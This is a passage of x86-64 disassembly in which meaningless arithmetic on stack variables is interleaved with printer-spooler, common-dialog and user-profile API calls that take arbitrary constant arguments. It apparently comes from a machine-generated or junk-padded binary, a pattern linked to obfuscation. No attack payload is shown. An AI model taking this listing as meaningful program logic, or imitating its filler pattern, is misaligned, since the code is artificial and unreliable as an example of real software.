mov rcx, qword [rsp + 0xc478]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9478]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1390]
sar eax, cl
mov rcx, qword [0x1401cd8d8]
mov word [rcx], ax
movzx eax, word [0x1401cc214]
movzx ecx, word [rsp + 0x1ac0]
shl eax, cl
mov rcx, qword [rsp + 0x9b58]
mov word [rcx], ax
lea rax, [rsp + 0x19c8]
mov qword [rsp + 0xd6e0], rax
mov rax, qword [rsp + 0xb758]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x305]
xor eax, ecx
mov rcx, qword [rsp + 0x9ab8]
mov byte [rcx], al
lea rax, [0x1401cc08b]
mov qword [rsp + 0xd6e8], rax
mov rax, qword [rsp + 0xcfd0]
mov ecx, dword [rsp + 0x5548]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x55b4], eax
mov rax, qword [rsp + 0x93f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa5f8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcbc8], rax
lea rax, [rsp + 0x5010]
mov qword [rsp + 0xd6f0], rax
mov rax, qword [rsp + 0xc8b0]
mov rcx, qword [rsp + 0xc2f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc6f8], rax
movzx eax, word [rsp + 0x1b5c]
mov word [rsp + 0x1c78], ax
movzx eax, byte [rsp + 0x332]
mov rcx, qword [rsp + 0x9208]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401cdc00]
mov byte [rcx], al
movsx eax, byte [rsp + 0x3ca]
movsx ecx, byte [rsp + 0x378]
sub eax, ecx
mov rcx, qword [rsp + 0xb1b0]
mov byte [rcx], al
lea rax, [rsp + 0x15c0]
mov qword [rsp + 0xd6f8], rax
movzx eax, word [rsp + 0x1538]
movzx ecx, word [rsp + 0x1af8]
add eax, ecx
mov rcx, qword [rsp + 0xc738]
mov word [rcx], ax
mov rax, qword [rsp + 0xb790]
mov rcx, qword [rsp + 0x9350]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcf58], rax
mov eax, dword [rsp + 0x50d8]
mov dword [rsp + 0x55cc], eax
mov rax, qword [rsp + 0xc7f8]
mov rcx, qword [rsp + 0xc258]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x92e0]
mov dword [rcx], eax
lea rax, [rsp + 0x94a0]
mov qword [rsp + 0xd700], rax
movsx eax, word [rsp + 0x1a78]
mov rcx, qword [rsp + 0xbef8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1738], ax
lea rax, [rsp + 0x283]
mov qword [0x1401ce068], rax
movzx eax, byte [rsp + 0x325]
mov rcx, qword [rsp + 0xcec8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3c7], al
lea rax, [rsp + 0x21a]
mov qword [rsp + 0xd708], rax
mov rax, qword [rsp + 0xcba8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x279]
add eax, ecx
mov rcx, qword [rsp + 0xa408]
mov byte [rcx], al
mov eax, dword [rsp + 0x515c]
mov dword [rsp + 0x55d0], eax
mov rax, qword [rsp + 0xab20]
mov rcx, qword [rsp + 0x9370]
mov qword [rsp + 0xd710], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd710]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9400]
mov ecx, dword [rsp + 0x4f84]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x91f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa548]
mov qword [rsp + 0xd718], rax
movzx eax, byte [rsp + 0x20e]
mov rcx, qword [rsp + 0xb780]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x22c], al
lea rax, [0x1401cc16c]
mov qword [0x1401ce070], rax
mov rax, qword [rsp + 0xc1b0]
movzx eax, word [rax]
mov word [rsp + 0x1c7c], ax
mov rax, qword [rsp + 0xbaf0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x344]
xor eax, ecx
mov byte [rsp + 0x366], al
movzx eax, word [0x1401cdd80]
mov rcx, qword [rsp + 0xccf8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ba8], ax
mov rax, qword [rsp + 0xa488]
mov qword [rsp + 0xd720], rax
mov rax, qword [rsp + 0x96f0]
mov ecx, dword [rsp + 0x528c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4998], eax
lea rax, [0x1401cc028]
mov qword [rsp + 0xd728], rax
mov rax, qword [rsp + 0xd050]
mov ecx, dword [rsp + 0x529c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x51b8], eax
lea r9, [rsp + 0x4e2c]
mov r8d, 0x4d
mov rdx, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x8e10]
call sub.WINSPOOL.DRV_SetPortA
mov dword [rsp + 0x7ee4], eax
movzx edx, word [rsp + 0x121c]
movzx ecx, word [rsp + 0x14d4]
call fcn.1401b3400
nop
jmp 0x1401b1f78
lea rcx, [rsp + 0x26f50]
call qword [sym.imp.COMDLG32.dll_PrintDlgA]
mov dword [rsp + 0x7ee8], eax
mov rax, qword [rsp + 0x8db0]
movzx eax, byte [rax]
mov byte [rsp + 0x7eec], al
cmp byte [rsp + 0x7eec], 0x50
je 0x1401b1eb0
jmp 0x1401b1ecc
mov rax, qword [rsp + 0x8d50]
movzx edx, word [rax]
mov rax, qword [rsp + 0x8d50]
movzx ecx, word [rax]
call fcn.1401b3400
nop
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x14d4], ax
movsx eax, word [rsp + 0x14dc]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
lea r9, [rsp + 0x8cb8]
lea r8, [rsp + 0x8c08]
lea rdx, [rsp + 0x26c80]
mov rcx, qword [rsp + 0x8eb8]
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rsp + 0x4d20], eax
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1df], al
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x8c08]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8d40]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x8c98]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8e20]
mov rdx, qword [rsp + 0x8bd0]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x1401b1ff3
lea rcx, [rsp + 0x26e60]
call qword [sym.imp.COMDLG32.dll_ChooseFontA]
mov dword [rsp + 0x4dbc], eax
movsx eax, byte [rsp + 0x1dc]
movsx ecx, byte [rsp + 0x1df]
or eax, ecx
mov rcx, qword [rsp + 0x8cc0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1db]
movzx ecx, byte [rsp + 0x180]
shl eax, cl
mov byte [rsp + 0x1e0], al
mov eax, dword [rsp + 0x4d54]
movzx ecx, al
mov eax, dword [rsp + 0x4840]
shr eax, cl
mov dword [rsp + 0x4dc4], eax
jmp 0x1401b20b5
mov rax, qword [rsp + 0x8d48]
movzx eax, byte [rax]
mov byte [rsp + 0x7ef0], al
cmp byte [rsp + 0x7ef0], 0x34
je 0x1401b20a7
cmp byte [rsp + 0x7ef0], 0x62
je 0x1401b203a
jmp 0x1401b20b5
mov rax, qword [rsp + 0x8d18]
mov rcx, qword [rsp + 0x8c58]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4de8], eax
mov rax, qword [rsp + 0x8c38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c08]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
lea r9, [rsp + 0x27050]
mov r8d, 0xeb
mov rdx, qword [rsp + 0x8e10]
mov rcx, qword [rsp + 0x8d28]
call sub.WINSPOOL.DRV_SetPortA
mov dword [rsp + 0x7ef4], eax
jmp 0x1401b20b5
mov rcx, qword [rsp + 0x8be8]
call fcn.1401b3150
nop
mov rax, qword [rsp + 0x8e70]
movzx ecx, al
mov rax, qword [0x1401cc010]
shl rax, cl
mov rcx, qword [rsp + 0x8d10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rax]
call fcn.1401b3150
nop
jmp 0x1401b2211
mov rax, qword [rsp + 0x8d08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4dd8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8df8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x4d54]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
ja 0x1401b2211
mov rax, qword [rsp + 0x8de0]
mov eax, dword [rax]
mov dword [rsp + 0x7ef8], eax
cmp dword [rsp + 0x7ef8], 0x4c51f9f3
je 0x1401b213d
jmp 0x1401b21ae
movsx eax, word [rsp + 0x14c8]
mov rcx, qword [rsp + 0x8de8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14d0], ax
mov rax, qword [rsp + 0x8d10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bd0]
mov rcx, qword [rsp + 0x8c08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e20], rax
mov rax, qword [rsp + 0x8c60]
mov ecx, dword [rax]
call fcn.1401b3460
nop
jmp 0x1401b2211
lea rax, [rsp + 0x26fd0]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x5c
lea rax, [rsp + 0x180]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x8d08]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x7efc]
mov qword [rsp + 0x20], rax
mov r9d, 0xde
mov r8, qword [rsp + 0x26bb8]
mov edx, 0x5f
mov rcx, qword [rsp + 0x8e68]
call sub.WINSPOOL.DRV_EnumPrinterDataA
mov dword [rsp + 0x4cf0], eax
lea r9, [rsp + 0x8c80]
mov r8d, 0x53
mov rdx, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x8bb0]
call sub.WINSPOOL.DRV_SetFormA
mov dword [rsp + 0x4dbc], eax
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1dd], al
movsx eax, word [rsp + 0x14d0]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
mov r8w, 0xae
mov rdx, qword [rsp + 0x8d28]
mov rcx, qword [rsp + 0x8d60]
call qword [sym.imp.COMDLG32.dll_GetFileTitleA]
mov word [rsp + 0x14ec], ax
jmp 0x1401b22ba
lea rcx, [rsp + 0x27170]
call qword [sym.imp.COMDLG32.dll_PrintDlgExA]
mov dword [rsp + 0x7efc], eax
call fcn.1401b3bf0
nop
movsx eax, word [0x1401cd714]
movsx ecx, word [rsp + 0x14c8]
xor eax, ecx
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d40]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8e20]
shl rax, cl
mov rcx, qword [rsp + 0x8bd0]
mov rdx, qword [rsp + 0x8bd8]
mov rdx, qword [rdx]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jle 0x1401b2334
movzx eax, word [rsp + 0x14d4]
movzx ecx, word [rsp + 0x14e4]
or eax, ecx
mov word [rsp + 0x121c], ax
mov ecx, dword [rsp + 0x4dd8]
call fcn.1401b3460
nop
mov rcx, qword [rsp + 0x8d88]
call sub.WINSPOOL.DRV_AbortPrinter
mov dword [rsp + 0x4e2c], eax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov dword [rsp + 0x7f00], eax
cmp dword [rsp + 0x7f00], 0x65e4088f
je 0x1401b236a
jmp 0x1401b2386
movzx eax, byte [rsp + 0x180]
movzx ecx, byte [rsp + 0x1e0]
add eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1de]
add eax, ecx
mov byte [rsp + 0x1df], al
mov rax, qword [rsp + 0x8de8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14e0]
sub eax, ecx
mov rcx, qword [rsp + 0x8db8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e0]
and eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0x8de8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
cdq
idiv ecx
movsx ecx, word [rsp + 0x14c4]
mov dword [rsp + 0x7f04], ecx
mov rdx, qword [rsp + 0x8db8]
movsx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x7f04]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x1401b2440
movzx eax, word [rsp + 0x14cc]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x14d4], ax
mov eax, dword [rsp + 0x4de8]
mov ecx, dword [rsp + 0x4d00]
or ecx, eax
mov eax, ecx
mov dword [0x1401cd710], eax
lea rax, [rsp + 0x8c58]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8c50]
mov qword [rsp + 0x20], rax
mov r9d, 0xc0
lea r8, [rsp + 0x4d24]
mov rdx, qword [rsp + 0x8e88]
mov rcx, qword [rsp + 0x8da0]
call sub.WINSPOOL.DRV_EnumPrinterDataExA
mov dword [rsp + 0x4dfc], eax
jmp 0x1401b2531
lea rcx, [rsp + 0x26ed0]
call qword [sym.imp.COMDLG32.dll_PrintDlgA]
mov dword [rsp + 0x7ef4], eax
mov rax, qword [rsp + 0x8de0]
mov ecx, dword [rsp + 0x4d00]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4da0], eax
mov rax, qword [rsp + 0x8c60]
mov ecx, dword [rsp + 0x4cf0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8df8]
mov dword [rcx], eax
mov r9d, 0x27
lea r8, [rsp + 0x8d98]
mov edx, 0xe6
mov rcx, qword [rsp + 0x8da0]
call sub.WINSPOOL.DRV_SetPrinterA
mov dword [rsp + 0x4cec], eax
mov rax, qword [rsp + 0x8d10]
mov rcx, qword [rsp + 0x8be8]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401cc010], rax
movzx eax, byte [rsp + 0x1df]
mov byte [rsp + 0x7f08], al
cmp byte [rsp + 0x7f08], 0xf
je 0x1401b2664
cmp byte [rsp + 0x7f08], 0x40
je 0x1401b255d
jmp 0x1401b2682
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8de8]
movsx ecx, word [rcx]
and eax, ecx
movsx ecx, word [rsp + 0x14dc]
movsx edx, word [rsp + 0x14c4]
sub ecx, edx
cmp eax, ecx
jne 0x1401b25f9
movsx eax, byte [rsp + 0x1dd]
movsx ecx, byte [rsp + 0x1dc]
sub eax, ecx
mov byte [rsp + 0x1de], al
movzx eax, byte [rsp + 0x1e0]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8d48]
mov byte [rcx], al
mov edx, 0x9f
mov rcx, qword [rsp + 0x8d88]
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [rsp + 0x4cec], eax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14cc]
shl eax, cl
mov word [rsp + 0x121c], ax
lea rax, [rsp + 0x26f50]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x8bf0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x34
lea r9, [rsp + 0x8c00]
mov r8d, 0xdd
mov rdx, qword [rsp + 0x8bc0]
mov ecx, 0x12
call sub.WINSPOOL.DRV_EnumPrintersA
mov dword [rsp + 0x4d70], eax
movsx eax, word [rsp + 0x14d0]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
jmp 0x1401b2682
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8ca0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8dd8], rax
mov rax, qword [rsp + 0x8d40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8bd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c98], rax
lea rcx, [rsp + 0x26e10]
call qword [sym.imp.COMDLG32.dll_FindTextA]
mov qword [rsp + 0x8c20], rax
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x8bf8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8be8], rax
jmp 0x1401b27a9
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8c58]
mov qword [rsp + 0x26bc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x26bc0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x8d18]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x4da0]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x1401b2723
jmp 0x1401b278d
mov rax, qword [rsp + 0x8d30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
or eax, ecx
movsx ecx, word [rsp + 0x14d0]
movsx edx, word [rsp + 0x14d8]
sub ecx, edx
cmp eax, ecx
jle 0x1401b278d
lea rdx, [rsp + 0x8be8]
mov rcx, qword [rsp + 0x8c40]
call qword [sym.imp.USERENV.dll_GetProfilesDirectoryA]
mov dword [rsp + 0x4da8], eax
mov rax, qword [rsp + 0x8d18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d18]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1de]
sub eax, ecx
mov byte [rsp + 0x1df], al
mov rcx, qword [rsp + 0x8e68]
call sub.WINSPOOL.DRV_AbortPrinter
mov dword [rsp + 0x7f0c], eax
jmp 0x1401b287a
lea rcx, [rsp + 0x27340]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameA]
mov dword [rsp + 0x4ce4], eax
mov rax, qword [rsp + 0x8c58]
mov rcx, qword [rsp + 0x8d18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x4d00]
mov edx, dword [rsp + 0x4da0]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jg 0x1401b2858
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1df]
add eax, ecx
mov byte [rsp + 0x1de], al
movzx eax, byte [rsp + 0x180]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
movzx eax, word [rsp + 0x14d4]
movzx ecx, word [rsp + 0x14cc]
and eax, ecx
mov word [rsp + 0x121c], ax
mov rax, qword [rsp + 0x8d48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8c50]
mov byte [rcx], al
mov ecx, dword [rsp + 0x4d54]
call fcn.1401b3460
nop
jmp 0x1401b29f8
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1de]
and eax, ecx
movsx ecx, byte [rsp + 0x1dd]
movsx edx, byte [rsp + 0x1df]
sub ecx, edx
cmp eax, ecx
jle 0x1401b29f8
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
mov dword [rsp + 0x7f10], eax
cmp dword [rsp + 0x7f10], 0x69d
je 0x1401b28dc
jmp 0x1401b28ea
mov rcx, qword [rsp + 0x8ca0]
call fcn.1401b3150
nop
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x4d00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4da0], eax
movzx eax, byte [rsp + 0x1db]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
sub eax, ecx
movzx ecx, byte [rsp + 0x180]
mov dword [rsp + 0x7f14], ecx
movzx edx, byte [rsp + 0x1ce]
movzx ecx, dl
mov edx, dword [rsp + 0x7f14]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x1401b295b
movsx eax, byte [rsp + 0x1df]
movsx ecx, byte [rsp + 0x1dd]
add eax, ecx
mov byte [rsp + 0x1de], al
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d54]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d08]
mov dword [rcx], eax
lea rcx, [rsp + 0x26e10]
call qword [sym.imp.COMDLG32.dll_FindTextA]
mov qword [rsp + 0x8ce8], rax
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x8d40]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8c98], rax
movzx eax, word [rsp + 0x121c]
movzx ecx, word [rsp + 0x14cc]
add eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
lea r9, [rsp + 0x8bd0]
mov r8d, 0xcb
lea rdx, [rsp + 0x4cf0]
mov rcx, qword [rsp + 0x8da0]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x4d78], eax
movzx eax, word [rsp + 0x14d4]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [0x1401cc010]
mov rcx, qword [rsp + 0x8be8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ca0], rax
lea rdx, [rsp + 0x180]
mov rcx, qword [rsp + 0x8bc0]
call qword [sym.imp.USERENV.dll_GetProfilesDirectoryA]
mov dword [rsp + 0x4d78], eax
movzx eax, byte [rsp + 0x180]
mov byte [rsp + 0x7f18], al
cmp byte [rsp + 0x7f18], 0x76
je 0x1401b2a6d
jmp 0x1401b2aa6
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1df]
shl eax, cl
mov rcx, qword [rsp + 0x8ca8]
mov byte [rcx], al
movsx eax, word [rsp + 0x14c4]
movsx ecx, word [rsp + 0x14d0]
and eax, ecx
mov word [rsp + 0x14d8], ax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
xor eax, ecx
mov word [rsp + 0x14cc], ax
mov rax, qword [rsp + 0x8bf0]
movzx edx, word [rax]
movzx ecx, word [rsp + 0x14d4]
call fcn.1401b3400
nop
jmp 0x1401b2c11
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14d4]
add eax, ecx
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x121c]
or ecx, edx
cmp eax, ecx
je 0x1401b2c11
mov rax, qword [rsp + 0x8d30]
movsx eax, word [rax]
mov dword [rsp + 0x7f1c], eax
cmp dword [rsp + 0x7f1c], 0x4f4c
je 0x1401b2b34
jmp 0x1401b2b36
jmp 0x1401b2b43
mov ecx, dword [rsp + 0x4d54]
call fcn.1401b3460
nop
mov rax, qword [rsp + 0x8ca0]
mov rcx, qword [rsp + 0x8be8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov rdx, qword [rsp + 0x8d10]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jae 0x1401b2b93
mov rax, qword [rsp + 0x8d00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1df]
add eax, ecx
mov byte [rsp + 0x1dd], al
mov edx, 0xc8
mov rcx, qword [rsp + 0x8bb8]
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [rsp + 0x7f0c], eax
mov rax, qword [rsp + 0x8d30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14d0]
add eax, ecx
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d00]
sub ecx, eax
mov eax, ecx
mov dword [0x1401cd710], eax
lea r9, [rsp + 0x272a0]
mov r8d, 0xf9
mov rdx, qword [rsp + 0x8d28]
mov rcx, qword [rsp + 0x8d60]
call sub.WINSPOOL.DRV_SetPortA
mov dword [rsp + 0x4ce4], eax
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4d54]
shr eax, cl
mov dword [rsp + 0x4cf0], eax
movzx eax, word [rsp + 0x14d4]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
lea r9, [rsp + 0x8d60]
mov r8d, 0xf
mov rdx, qword [rsp + 0x8d90]
mov rcx, qword [rsp + 0x8bc0]
call sub.WINSPOOL.DRV_SetPortA
mov dword [rsp + 0x4cec], eax
jmp 0x1401b2cf7
lea rax, [rsp + 0x8c00]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x1b
lea r9, [rsp + 0x8c60]
mov r8d, 0x39
mov rdx, qword [rsp + 0x8d90]
mov rcx, qword [rsp + 0x8c70]
call sub.WINSPOOL.DRV_GetFormA
mov dword [rsp + 0x4d78], eax
movsx eax, word [rsp + 0x14d0]
movsx ecx, word [rsp + 0x14c8]
and eax, ecx
mov word [rsp + 0x14c4], ax
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c98]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
lea rax, [rsp + 0x8c00]
mov qword [rsp + 0x20], rax
mov r9d, 0x5e
lea r8, [rsp + 0x27050]
mov edx, 0x3f
mov rcx, qword [rsp + 0x8d98]
call sub.WINSPOOL.DRV_GetPrinterA
mov dword [rsp + 0x4d78], eax
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d54]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x4cf0]
ja 0x1401b2d5c
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rax]
call fcn.1401b3150
nop
jmp 0x1401b2db7
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14cc]
xor eax, ecx
mov word [rsp + 0x121c], ax
mov rax, qword [rsp + 0x8bf0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x8bf0]
movzx ecx, word [rax]
call fcn.1401b3400
nop
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x180]
shl eax, cl
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rax]
call fcn.1401b3150
nop
jmp 0x1401b2e62
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1db]
sub eax, ecx
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x180]
add ecx, edx
cmp eax, ecx
jl 0x1401b2e62
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14cc]
and eax, ecx
mov word [rsp + 0x121c], ax
movzx eax, byte [rsp + 0x180]
movzx ecx, byte [rsp + 0x1ce]
add eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
lea rcx, [rsp + 0x272a0]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameA]
mov dword [rsp + 0x4d20], eax
call fcn.1401b3bf0
nop
jmp 0x1401b2ea7
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x8c08]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8c98], rax
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dc]
and eax, ecx
mov rcx, qword [rsp + 0x8cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8be8]
mov qword [rsp + 0x26bc8], rax
movabs rax, 0x1a9e4e1c2bad4d37
cmp qword [rsp + 0x26bc8], rax
je 0x1401b2ecd
jmp 0x1401b2ee0
